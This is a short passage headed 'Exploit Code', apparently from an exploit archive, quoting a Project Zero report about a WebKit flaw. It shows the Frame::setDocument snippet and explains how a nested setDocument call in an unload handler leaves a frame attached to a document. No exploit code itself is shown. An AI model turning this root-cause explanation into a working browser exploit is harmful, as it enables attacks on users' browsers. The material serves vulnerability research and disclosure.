Exploit Code
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1057 Here's a snippet of Frame::setDocument. void Frame::setDocument(RefPtr<Document>&& newDocument) { ASSERT(!newDocument || newDocument->frame() == this); if (m_doc && m_doc->pageCacheState() != Document::InPageCache) m_doc->prepareForDestruction(); m_doc = newDocument.copyRef(); ... } Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.
